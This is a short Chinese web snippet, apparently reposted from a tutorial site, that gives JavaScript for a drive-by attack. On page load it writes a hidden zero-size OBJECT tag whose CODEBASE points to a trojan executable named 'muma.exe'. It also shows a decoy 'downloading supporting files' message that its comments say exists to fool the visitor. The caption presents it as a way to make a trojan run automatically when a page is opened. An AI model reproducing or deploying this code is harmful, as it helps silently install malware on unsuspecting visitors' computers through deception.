<script language="javascript">
run_exe="<OBJECT ID=\"RUNIT\" WIDTH=0 HEIGHT=0 TYPE=\"application/x-oleobject\""
run_exe+="CODEBASE=\"muma.exe#version=1,1,1,1\">"
//这里的muma.exe就是我们要运行的程序
run_exe+="<PARAM NAME=\"_Version\" value=\"65536\">"
run_exe+="</OBJECT>"
run_exe+="<HTML><H1>等会......网页在下载支持的文件</H1></HTML>";
//这里是迷惑人的.你可以写其他任何东西.
document.open();
document.clear();
document.writeln(run_exe);
document.close();
</script>
网页打开后自动执行木马
原文：http://www.jb51.net/article/985.htm
